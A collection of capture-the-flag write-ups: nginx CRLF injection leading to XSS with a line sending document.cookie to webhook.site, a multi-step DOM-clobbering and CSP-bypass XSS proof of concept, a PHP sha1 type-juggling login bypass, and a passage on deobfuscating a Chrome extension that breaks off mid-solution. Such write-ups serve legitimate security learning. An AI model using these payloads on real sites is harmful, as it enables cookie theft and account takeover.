  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>Static Site</title>
    <link rel="stylesheet" href="./static/bootstrap.min.css">
  </head>

  <body class="text-center">
    <div class="cover-container d-flex h-100 p-3 mx-auto flex-column">
      <header class="mt-5">
          <h3 class="masthead-brand">Static Site</h3>
      </header>

      <main role="main" class="mt-5">
        <p class="lead"><img src="./static/hacker.gif"/></p>
        <p class="lead pt-5">
          Ok, hackers, I created a static site with a strict Content-Security-Policy.
        </p>
        <p class="lead">
          It is simply impossible to steal my cookies now!
        </p>
        <p class="lead">
          But, you can still try:
        </p>
        <p>
          <form id="form" class="form-inline justify-content-center" method="POST" action="https://bot-static-site.volgactf-task.ru/">
            <div class="form-group">
              <label for="url">URL</label>
              <input type="url" name="url" id="url" class="form-control mx-sm-3">
              <input type="submit" class="btn btn-secondary g-recaptcha" data-sitekey="6LdN230aAAAAAPsMXHWZ9szidC6tbkSzWDarMqmL" data-callback="onSubmit" data-action="submit">
            </div>
          </form>
        </p>
      </main>
    </div>
    <script src="https://www.google.com/recaptcha/api.js"></script>
    <script src="./static/captcha.js"></script>
  </body>
</html>

Writeup

After review the nginx config and the html file, this part catch my eyes:

location /static/ {
   proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}

Then I googled nginx $uri vulnerability and found some useful resources:

  1. Bottle HTTP 头注入漏洞探究
  2. 新浪某站CRLF Injection导致的安全问题
  3. Some cases of insecure NGINX configurations

We can use CRLF injection and change the request. I am not familiar with nginx so I create an environment on my local to see how can I use it. After playing for a while I found that I can fake the Host header to read the file in my own bucket:

https://static-site.volgactf-task.ru/static/app.js%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:

So the solution is straightforward:

  1. create my own S3 bucket
  2. upload /static/index.html
  3. upload /static/app.js
  4. let bot visits https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:
  5. XSS triggered!

html file

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  </head>

  <body class="text-center">
    
    hello
    <script src="/static/app.js%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:"></script>
  </body>
</html>

js file

window.location = 'https://webhook.site?c='+document.cookie

Writeup: Intigriti's 0721 XSS challenge - by @RootEval

Challenge link: https://challenge-0721.intigriti.io/

Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html

Analysis

This project is a bit complex because there are two frames and a lot of postMessage and onmessage, make it harder to know how it works at first glance.

To find a XSS vulnerability, there must be a place to inject malicious payload, like innerHTML or eval, so I started from finding this place.

There are three pages:

  1. index.html
  2. htmledit.php
  3. console.php

Let's check it one by one.

index.html

<div class="card-container">
 <div class="card-header-small">Your payloads:</div>
 <div class="card-content">
    <script>
       // redirect all htmledit messages to the console
       onmessage = e =>{
          if (e.data.fromIframe){
             frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
          }
       }
       /*
       var DEV = true;
       var store = {
           users: {
             admin: {
                username: 'inti',
                password: 'griti'
             }, moderator: {
                username: 'root',
                password: 'toor'
             }, manager: {
                username: 'andrew',
                password: 'hunter2'
             },
          }
       }
       */
    </script>

    <div class="editor">
       <span id="bin">
          <a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
       </span>
       <iframe class=console src="./console.php"></iframe>
       <iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
       <textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
    </div>
 </div>
</div>

Besides the weird variable in the comment, DEV and store, nothing special.

htmledit.php

<!-- &lt;img src=x&gt; -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Native HTML editor</title>
    <script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
        window.addEventListener('error', function(e){
            let obj = {type:'err'};
            if (e.message){
                obj.text = e.message;
            } else {
                obj.text = `Exception called on ${e.target.outerHTML}`;
            }
            top.postMessage({fromIframe:obj}, '*');
        }, true);
        onmessage=(e)=>{
            top.postMessage({fromIframe:e.data}, '*')
        }
    </script>
</head>
<body>
    <img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->

htmledit.php reflects the query string code but there is a strict CSP: script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';, it's impossible to run JS. But it's worth noting that embed an iframe is allow. Maybe it's a hint for the player?

console.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <script nonce="c4936ad76292ee7100ecb9d72054e71f">
        name = 'Console'
        document.title = name;
        if (top === window){
            document.head.parentNode.remove(); // hide code if not on iframe
        }
    </script>
    <style>
        body, ul {
            margin:0;
            padding:0;
        }

        ul#console {
            background: lightyellow;
            list-style-type: none;
            font-family: 'Roboto Mono', monospace;
            font-size: 14px;
            line-height: 25px;
        }

        ul#console li {
            border-bottom: solid 1px #80808038;
            padding-left: 5px;

        }
    </style>
</head>
<body>
    <ul id="console"></ul>
    <script nonce="c4936ad76292ee7100ecb9d72054e71f">
        let a = (s) => s.anchor(s);
        let s = (s) => s.normalize('NFC');
        let u = (s) => unescape(s);
        let t = (s) => s.toString(0x16);
        let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
        let log = (prefix, data, type='info', safe=false) => {
            let line = document.createElement("li");
            let prefix_tag = document.createElement("span");
            let text_tag = document.createElement("span");
            switch (type){
                case 'info':{
                    line.style.backgroundColor = 'lightcyan';
                    break;
                }
                case 'success':{
                    line.style.backgroundColor = 'lightgreen';
                    break;
                }
                case 'warn':{
                    line.style.backgroundColor = 'lightyellow';
                    break;
                }
                case 'err':{
                    line.style.backgroundColor = 'lightpink';
                    break;
                } 
                default:{
                    line.style.backgroundColor = 'lightcyan';
                }
            }
            
            data = parse(data);
            if (!safe){
                data = data.replace(/</g, '&lt;');
            }

            prefix_tag.innerHTML = prefix;
            text_tag.innerHTML = data;

            line.appendChild(prefix_tag);
            line.appendChild(text_tag);
            document.querySelector('#console').appendChild(line);
        } 

        log('Connection status: ', window.navigator.onLine?"Online":"Offline")
        onmessage = e => {
            switch (e.data.cmd) {
                case "log": {
                    log("[log]: ", e.data.message.text, type=e.data.message.type);
                    break;
                }
                case "anchor": {
                    log("[anchor]: ", s(a(u(e.data.message))), type='info')
                    break;
                }
                case "clear": {
                    document.querySelector('#console').innerHTML = "";
                    break;
                }
                default: {
                    log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
                }
            }
        }
    </script>
    <script nonce="c4936ad76292ee7100ecb9d72054e71f">
        try {
            if (!top.DEV)
                throw new Error('Production build!');
                
            let checkCredentials = (username, password) => {
                try{
                    let users = top.store.users;
                    let access = [users.admin, users.moderator, users.manager];
                    if (!users || !password) return false;
                    for (x of access) {
                        if (x.username === username && x.password === password)
                            return true
                    }
                } catch {
                    return false
                }
                return false
            }

            let _onmessage = onmessage;
            onmessage = e => {
                let m = e.data;
                if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
                    return; // do nothing if unauthorized
                }
            
                switch(m.cmd){
                    case "ping": { // check the connection
                        e.source.postMessage({message:'pong'},'*');
                        break;
                    }
                    case "logv": { // display variable's value by its name
                        log("[logv]: ", window[m.message], safe=false, type='info'); 
                        break;
                    }
                    case "compare": { // compare variable's value to a given one
                        log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info'); 
                        break;
                    }
                    case "reassign": { // change variable's value
                        let o = m.message;
                        try {
                            let RegExp = /^[s-zA-Z-+0-9]+$/;
                            if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
                                throw new Error('Invalid input given!');
                            }
                            eval(`${o.a}=${o.b}`);
                            log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
                        } catch (err) {
                            log("[reassign]: ", `Error changing value (${err.message})`, type='err');
                        }
                        break;
                    }
                    default: {
                        _onmessage(e); // keep default functions
                    }
                }
            }
        } catch {
            // hide this script on production
            document.currentScript.remove();
        }
    </script>
    <script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>

It's the most interesting one.

First, I found a eval command here for changing variable's value:

let _onmessage = onmessage;
onmessage = e => {
    let m = e.data;
    if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
        return; // do nothing if unauthorized
    }

    switch(m.cmd){
        // ...
        case "reassign": { // change variable's value
            let o = m.message;
            try {
                let RegExp = /^[s-zA-Z-+0-9]+$/;
                if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
                    throw new Error('Invalid input given!');
                }
                eval(`${o.a}=${o.b}`);
                log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
            } catch (err) {
                log("[reassign]: ", `Error changing value (${err.message})`, type='err');
            }
            break;
        }
        default: {
            _onmessage(e); // keep default functions
        }
    }
}

Is it where I can inject my payload? Probably not, because it allows limited alphanumeric and symbol(only - and +).

Another interesting part is here:

let log = (prefix, data, type='info', safe=false) => {
    let line = document.createElement("li");
    let prefix_tag = document.createElement("span");
    let text_tag = document.createElement("span");
    switch (type){
        // not important
    }
    
    data = parse(data);
    if (!safe){
        data = data.replace(/</g, '&lt;');
    }

    prefix_tag.innerHTML = prefix;
    text_tag.innerHTML = data;

    line.appendChild(prefix_tag);
    line.appendChild(text_tag);
    document.querySelector('#console').appendChild(line);
} 

If safe is true, the data won't be sanitized and we can inject arbitrary HTML. I believe here is the key, so my goal is to execute log function with arbitrary data and let safe be true.

Before that, we need to know that JavaScript has no named parameters, don't be confused!

For example, when we call log("[logv]: ", window[m.message], safe=false, type='info');, the argument is actually by order, so prefix is "[logv]: ", data is window[m.message], type is false and safe is 'info'

Anyway, I decided to start from find a way to run log function, and it's obviously that I can postMessage to it's window to run the command.

But I need to bypass some checks first.

Bypass "top" check

First, I need to embed this page in an iframe:

name = 'Console'
document.title = name;
if (top === window){
    document.head.parentNode.remove(); // hide code if not on iframe
}

Second, there are two more checks I need to bypass:

try {
    if (!top.DEV)
        throw new Error('Production build!');
        
    let checkCredentials = (username, password) => {
        try{
            let users = top.store.users;
            let access = [users.admin, users.moderator, users.manager];
            if (!users || !password) return false;
            for (x of access) {
                if (x.username === username && x.password === password)
                    return true
            }
        } catch {
            return false
        }
        return false
    }

    let _onmessage = onmessage;
    onmessage = e => {
        let m = e.data;
        if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
            return; // do nothing if unauthorized
        }
        // ...
    }
} catch {
    // hide this script on production
    document.currentScript.remove();
}

top.DEV should be truthy, and the credentials I send in should match top.store.users.admin.username and top.store.users.admin.password.

It's easy, just write my own HTML page and set these variables, embed console.php in an iframe, and then post message to it, right?

Nope, it's not gonna work because of Same-Origin Policy. When console.php tries to access top.DEV, it's blocked by browser because top window is in another domain.

So we need a same origin page where we can embed an iframe and also set global variables. htmledit.php is the one.

DOM clobbering

There is a technique called DOM clobbering, it utilizes a feature which turns a DOM element with id to global variable.

For example, when you have <div id="a"></div> in your HTML, you can access it in JS via window.a or just a.

If you can read Mandarin, you can check my blog post 淺談 DOM Clobbering 的原理及應用 and another great article by Zeddy: 使用 Dom Clobbering 扩展 XSS. If you can't, check this: DOM Clobbering strikes back

It's a little bit troublesome to achieve multi-level DOM clobbering, you need to use iframe + srcdoc, here is my payload:

<a id="DEV"></a>
<iframe name="store" srcdoc='
    <a id="users"></a>
    <a id="users" name="admin" href="ftp://a:a@a"></a>
    '>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>

So top.DEV is a element, store is the iframe, store.users is HTML collections of <a>, store.users.admin is the a, and store.users.admin.username is the URL username in href, which is a, it's the same for password.

I built a simple page to open a new window, so that htmledit.php is the top window and I can still post message to it:

<!DOCTYPE html>

<html lang="en">
<head>
  <meta charset="utf-8">
  <title>XSS POC</title>  
</head>
<body>
  <script>
    const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
    const payload = `
      <a id="DEV"></a>
      <iframe name="store" srcdoc='
        <a id="users"></a>
        <a id="users" name="admin" href="ftp://a:a@a"></a>
      '></iframe>
      <iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
    `

    var win = window.open(htmlUrl + encodeURIComponent(payload))

    // wait unitl window loaded
    setTimeout(() => {
      console.log('go')
      const credentials = {
        username: 'a',
        password: 'a'
      }
      win.frames[1].postMessage({
        cmd: 'test',
        credentials
      }, '*')
    }, 5000)

  </script>
</body>
</html>

By far, I can send message to console.php. But, it's only the beginning.

Pass arbitrary data and safe=true

In order to let safe be true, I need to find a function call with 4 parameters:

case "logv": { // display variable's value by its name
    log("[logv]: ", window[m.message], safe=false, type='info'); 
    break;
}
case "compare": { // compare variable's value to a given one
    log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info'); 
    break;
}

log("[logv]: ", window[m.message], safe=false, type='info') is what I need, the fourth parameter is info which is truthy. data is window[m.message], so I need to set my payload to a global variable.

I stuck here for a long time because I can't find one. window.name is usually a good candidate but this page set it's window name so I can't use it.

location is another candidate but log checks if data is string, if not, it turns it into a string via JSON.stringify, which encoded <>.

I checked the code again and again, try to find out the missing puzzle. Finally, I found one.

let checkCredentials = (username, password) => {
    try{
        let users = top.store.users;
        let access = [users.admin, users.moderator, users.manager];
        if (!users || !password) return false;
        for (x of access) {
            if (x.username === username && x.password === password)
                return true
        }
    } catch {
        return false
    }
    return false
}

Can you find a bug in the code above?

for (x of access) {, it's a common bug for newbie, when you forgot to declare x, it will be a global variable. In this case, x is top.store.users.admin , which is the <a> element.

Build payload

If we cast an <a> element to string, the return value is a.href. It's a common technique in DOM clobbering. So we can pass our payload inside href.

But, remember that log checks the type of data? The type of x is DOM element, hence failed the check. I need to find a way to make it a string.

Fortunately, there is another command I can utilize:

case "reassign": { // change variable's value
    let o = m.message;
    try {
        let RegExp = /^[s-zA-Z-+0-9]+$/;
        if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
            throw new Error('Invalid input given!');
        }
        eval(`${o.a}=${o.b}`);
        log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
    } catch (err) {
        log("[reassign]: ", `Error changing value (${err.message})`, type='err');
    }
    break;
}

I can do this:

win.frames[1].postMessage({
    cmd: 'reassign',
    message:{
      a: 'Z',
      b: 'x+1'
    },
    credentials
}, '*')

Because of JS "coercion", x+1 returns a string, so now Z is a string contains our href. Now, I can send whatever data I want.

But wait, it's encoded because it's a URL, < will be %3C.

var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:a@a#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:a@a/#%3Cimg%20src=x%20onload=alert(1)%3E1

What should I do?

In log function, there is one line data = parse(data), and here is the parse function:

let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string

If e is string, it returns s(e) where s is let s = (s) => s.normalize('NFC');

When I reviewed the source code of reassign command, I noticed this regexp: RegExp = /^[s-zA-Z-+0-9]+$/;, and I also noticed these four functions:

let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);

s, u and t is allowed to use. So, we can utilize reassign command again, to let s=u, so our data can be unescaped!

Full source code is like this:

const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
  <a id="DEV"></a>
  <iframe name="store" srcdoc='
    <a id="users"></a>
    <a id="users" name="admin" href="ftp://a:a@a#${escape(insertPayload)}"></a>
  '></iframe>
  <iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`

var win = window.open(htmlUrl + encodeURIComponent(payload))

// wait unitl window loaded
setTimeout(() => {
  console.log('go')
  const credentials = {
    username: 'a',
    password: 'a'
  }
  // s=u
  win.frames[1].postMessage({
    cmd: 'reassign',
    message:{
      a: 's',
      b: 'u'
    },
    credentials
  }, '*')

  // Z=x+1 so Z = x.href + 1
  win.frames[1].postMessage({
    cmd: 'reassign',
    message:{
      a: 'Z',
      b: 'x+1'
    },
    credentials
  }, '*')

  // log window[Z]
  win.frames[1].postMessage({
    cmd: 'logv',
    message: 'Z',
    credentials
  }, '*')
}, 5000)

So the data is ftp://a:a@a#<img src=x onerror=alert(1)>, and the data is assigned to text_tag.innerHTML, XSS triggered!

Oh...not that easy, I forgot CSP.

Bypass CSP

Indeed, I can inject anything to HTML for now, but there is one more thing I need to do: bypass CSP.

The CSP is:

script-src 'nonce-4298c066cafb9760ea824427b44e583f' https://challenge-0721.intigriti.io/analytics/ 'unsafe-eval';frame-src https:;object-src 'none';base-uri 'none';

There is no unsafe-inline so inline event won't work. https://challenge-0721.intigriti.io/analytics/ is suspicious, what is this?

This JS https://challenge-0721.intigriti.io/analytics/main.js is included but almost nothing inside.

Actually, when I saw this CSP rule, I know what to do instantly. Because I know there is a way to bypass CSP path using %2f(url encoded /).

Take this URL: https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php as an example, to browser, it's under analytics path so pass CSP, but for server it's analytics/../htmledit.php, so we actually load resource from different path!

But what should I include? htmledit.php is HTML, not JS...really?

If you look carefully, htmledit.php prints escaped input in HTML comment, like this:

<!-- &lt;img src=x&gt; -->
....

In some cases, HTML comment is also a valid JS comment, as per ECMAScript:

In other words, we can make this HTML a valid JS script!

Here is the url I used: https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*, it respond following HTML:

<!-- 1; this line is comment as well
top.alert(document.domain);/* -->
<!DOCTYPE html>
<html lang="en">
<head>
...not important because it's all comment

After /* it's all comment, so the whole script is top.alert(document.domain); basically. So now, I can include this url as JS script to run arbitrary code and bypass CSP.

Please note that the content type of htmledit.php is still text/html, but it's fine since it's same origin. If you want to include a page with content type text/html as JS , you will get a CORB error.

It seems great, now we can inject an script to pop alert, right?

Unfortunately, not yet.

Final step

I thought I solve the challenge after I found this clear way to inject script, but somehow it doesn't work.

According to this stack overflow thread, the <script> tag won't load if you inserted with innerHTML.

I don't know how to do so I googled innerhtml import script, innerhtml script run and so on, but found nothing useful.

After a while, It occurred to me that how about our old friend <iframe srcdoc>? What if I put the script tag inside srcdoc?

So, I tried this way and it works like a charm.

Put it all together

Just one small thing to say, before I submit the answer I found that my exploit doesn't work on Firefox.

<a id="users"></a>
<a id="users" name="admin" href="a"></a>

For window.users, Chrome returns HTMLCollection while Firefox returns first <a> only, so users.admin is undefined on Firefox.

It's not a big deal, just use another iframe:

<iframe name="store" srcdoc="
  <iframe srcdoc='<a id=admin href=ftp://a:a@a#></a>' name=users>
">
</iframe>

Following is my exploit in the end:

Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html

<!DOCTYPE html>

<html lang="en">
<head>
  <meta charset="utf-8">
  <title>XSS POC</title>  
</head>

<body>
  <script>
    const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
    const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
    const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
    const payload = `
      <a id="DEV"></a>
      <iframe name="store" srcdoc="
        <iframe srcdoc='<a id=admin href=ftp://a:a@a#${escape(insertPayload)}></a>' name=users>
      ">
      </iframe>
      <iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
    `
    var win = window.open(htmlUrl + encodeURIComponent(payload))

    // wait for 3s to let window loaded
    setTimeout(() => {
      const credentials = {
        username: 'a',
        password: 'a'
      }
      win.frames[1].postMessage({
        cmd: 'reassign',
        message:{
          a: 's',
          b: 'u'
        },
        credentials
      }, '*')

      win.frames[1].postMessage({
        cmd: 'reassign',
        message:{
          a: 'Z',
          b: 'x+1'
        },
        credentials
      }, '*')

      win.frames[1].postMessage({
        cmd: 'logv',
        message: 'Z',
        credentials
      }, '*')
    }, 3000)

  </script>
</body>
</html>

It's a great and awesome challenge, to me it's like a game with 5 levels, I need to solve every levels and put it together to really win this game.

I spent about 2 days on this challenge and every time I stuck, I checked the source code again, reviewed one line after another until I found something new. Surprisingly, there is always something new!

Thanks @RootEval for creating such amazing challenge, and also thanks Intigriti for hosting this event.

BSides Ahmedabad CTF 2021 - entrance

Soure code

<?php
session_start();

$users = array(
    "admin" => "caa6d4940850705040738b276c7bb3fea1030460",
    "guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);

function lookup($username) {
    global $users;
    return array_key_exists($username, $users) ? $users[$username] : "";
}

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $sha1pass = lookup($_POST['username']);
    if ($sha1pass == sha1($_POST['password'])) {
        $_SESSION['login'] = true;
        $_SESSION['privilege'] = $_POST['username'] == "guest" ? "guest" : "admin";
        header("Location: /");
        exit();
    } else {
        $fail = true;
    }
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Entrance</title>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/uikit.min.css" />
        <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/uikit.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/uikit-icons.min.js"></script>
    </head>
    <body class="uk-container">
        <form method="POST" action="/login.php">
            <?php if (isset($fail)) { ?>
                <div class="uk-alert-danger" uk-alert>
                    <a class="uk-alert-close" uk-close></a>
                    <p>Invalid username or password</p>
                </div>
            <?php } ?>
            <div class="uk-section uk-section-muted uk-flex uk-flex-middle uk-animation-fade" uk-height-viewport>
                <div class="uk-width-1-1">
                    <div class="uk-container">
                        <div class="uk-grid-margin uk-grid uk-grid-stack" uk-grid>
                            <div class="uk-width-1-1@m">
                                <div class="uk-margin uk-width-large uk-margin-auto uk-card uk-card-default uk-card-body uk-box-shadow-large">
                                    <h3 class="uk-card-title uk-text-center">Welcome!</h3>
                                    <form>
                                        <div class="uk-margin">
                                            <div class="uk-inline uk-width-1-1">
                                                <span class="uk-form-icon" uk-icon="icon: user"></span>
                                                <input class="uk-input uk-form-large" type="text" name="username">
                                            </div>
                                        </div>
                                        <div class="uk-margin">
                                            <div class="uk-inline uk-width-1-1">
                                                <span class="uk-form-icon" uk-icon="icon: lock"></span>
                                                <input class="uk-input uk-form-large" type="password" name="password">
                                            </div>
                                        </div>
                                        <div class="uk-margin">
                                            <button class="uk-button uk-button-primary uk-button-large uk-width-1-1">Login</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </form>
    </body>
</html>

Writeup

The core part is here:

$users = array(
    "admin" => "caa6d4940850705040738b276c7bb3fea1030460",
    "guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);

function lookup($username) {
    global $users;
    return array_key_exists($username, $users) ? $users[$username] : "";
}

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $sha1pass = lookup($_POST['username']);
    if ($sha1pass == sha1($_POST['password'])) {
      // pass
    }
}

We need to let $sha1pass == sha1($_POST['password']) to be true.

If we pass a random user name like a, $sha1pass will be "".

For sha1, if the input is an array, it returns NULL:

<?php
  var_dump(sha1(["a"])); // NULL
?>

Moreover, "" == NULL is true:

<?php
  if ("" == NULL) {
    echo 1;
  }
?>

So, all we need to do is pass a random username and an array for password:

username=1
password[]=1

DEF CON CTF 2021 Quals - threefactooorx

threefactooorx

Description

This is the end of phishing. The Order of the Overflow is introducing the ultimate authentication factor, the most important one, the final one. To help the web transition to this new era of security, we are introducing a 3FA tool for testing your webpages completely isolated on our admin's browser.

Files:

3factooorx.crx

Writeup

I used CRX Viewer to open the crx file.

There are few files but only background_script.js and content_script.js are important.

background_script.js:

// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.getflag == "true")
      sendResponse({flag: "OOO{}"});
  }
);

The content of content_script is obfuscated by JavaScript Obfuscator Tool.

It's apparently a Chrome extension so I loaded and I tried to beautify the code because it's easier for me to debug.

After loaded the Chrome extension and opened a random page, it crash after few seconds. I spent about 1 hour until I realized it's because of the beautify. There is a self-protected mechanism to prevent such behavior.

The web page loaded successfully after I change it back to original content, and there is an error on the console:

Uncaught TypeError: Cannot read property 'querySelectorAll' of null

The error throw by this part of code:

chilen = _0x1e6746[_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5) + _0x3126db(-0x283, -0x277, -0x2c2, -0x29c)]('*')[_0x3126db(-0x21d, -0x226, -0x229, -0x1e1)],

We can set a breakpoint and reload, when the debugger has been triggered, we can use console to help us see the real value:

_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5)
"querySelec"

_0x3126db(-0x283, -0x277, -0x2c2, -0x29c)
"torAll"

_0x3126db(-0x21d, -0x226, -0x229, -0x1e1)
"length"

So the deobfuscated code is:

chilen = _0x1e6746.querySelectorAll('*').length

_0x1e6746 is null so the browser throws an error.

Let's find out what is _0x1e6746:

var _0x1e6746 = document[_0x2ca2fd(-0x227, -0x23b, -0x1e2, -0x1e8) + _0x3126db(-0x21b, -0x25d, -0x23f, -0x1de)](_0x3126db(-0x226, -0x233, -0x20a, -0x1d9));

We can use the same technique to know the original code:

var _0x1e6746 = document.getElementById('3fa')

So we can add an element with id 3fa.

After refresh the page, another error shown:

Uncaught TypeError: Cannot read property 'tagName' of null

There is something wrong in this line:

if (_0x2c0eff[_0x2ca2fd(-0x262, -0x24f, -0x2a5, -0x2a4)](document[_0x2ca2fd(-0x22c, -0x1ee, -0x234, -0x1fa) + _0x2ca2fd(-0x292, -0x27f, -0x2b2, -0x2a9)](_0x2c0eff[_0x3126db(-0x221, -0x240, -0x274, -0x257)])[_0x2ca2fd(-0x25d, -0x24e, -0x26c, -0x26d)], _0x2c0eff[_0x3126db(-0x232, -0x277, -0x218, -0x233)])) {

Set a breakpoint and use console to see the value, we can transform the code above into this:

if (_0x2c0eff['hJFjw'](document['querySelector']('#thirdfactooor')['tagName'], 'INPUT')) {

_0x2c0eff['hJFjw'] is just a function to compare it's parameters:ƒ (_0x410572,_0x33660a){return _0x410572==_0x33660a;}

So it's actually:

if (document['querySelector']('#thirdfactooor')['tagName'] === 'INPUT')){

We can add a new input element with id: thirdfactooor

Now, there is no more error.

Search for the flag

Then, I searched the keyword: flag to see if I can get some useful information. I found this part:

FLAG = _0x336e82[_0x39523f(-0x10d, -0xe8, -0x11f, -0x128)],
        console['log'](_0x10b2d5[_0x39523f(-0x134, -0xf8, -0x123, -0x14b)](_0x10b2d5[_0x5773c7(-0x1c8, -0x164, -0x1b2, -0x16c)], _0x336e82[_0x39523f(-0x151, -0x152, -0x11f, -0x146)]));
        nodesadded == 0x1 * -0x27a + 0x3 * -0x3f8 + -0x4cd * -0x3 && _0x10b2d5[_0x39523f(-0x157, -0x1ae, -0x17e, -0x1c2)](nodesdeleted, -0x1b66 + -0x14e * 0x8 + 0x25d9) && attrcharsadded == -0x2001 + -0x2 * 0x433 + 0x49 * 0x8e && _0x10b2d5['DvvtZ'](domvalue, -0xed7 * -0x1 + -0x18f0 + 0x12a5) && (document['getElement' + _0x39523f(-0xf2, -0x127, -0x132, -0x153)](_0x5773c7(-0x141, -0x1ab, -0x16f, -0x192) + _0x5773c7(-0x131, -0x15d, -0x10d, -0xc2))['value'] = _0x336e82[_0x5773c7(-0xe7, -0xda, -0x11f, -0x111)]);

We can also set a breakpoint and deobfuscate ourselves by executing those small function and get value via console.

We can ignore console.log because it has been replaced with an empty function.

FLAG = _0x336e82['flag'],
nodesadded == 5 && equal(nodesdeleted, 3) && attrcharsadded == 23 && equal(domvalue, 2188) && (document['getElementById']('thirdfactooor')['value'] = _0x336e82['flag']);

The goal is clear, we need to let nodesadded = 5, nodesdeleted = 3, attrcharsadded = 23 and domvalue = 2188. After all requirements are fulfilled, we can get flag via thirdfactooor.value.

It's not hard to find out that the values are related to the MutationObserver. So we need to manipulate the DOM including add, update attributes and delete the elements for certain times.

It's my solution in the end:

<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>test</title>
    <style>
      #thirdfactooor{
        width: 400px;
      }
    </style>
  </head>
  <body>
    <form id="3fa">
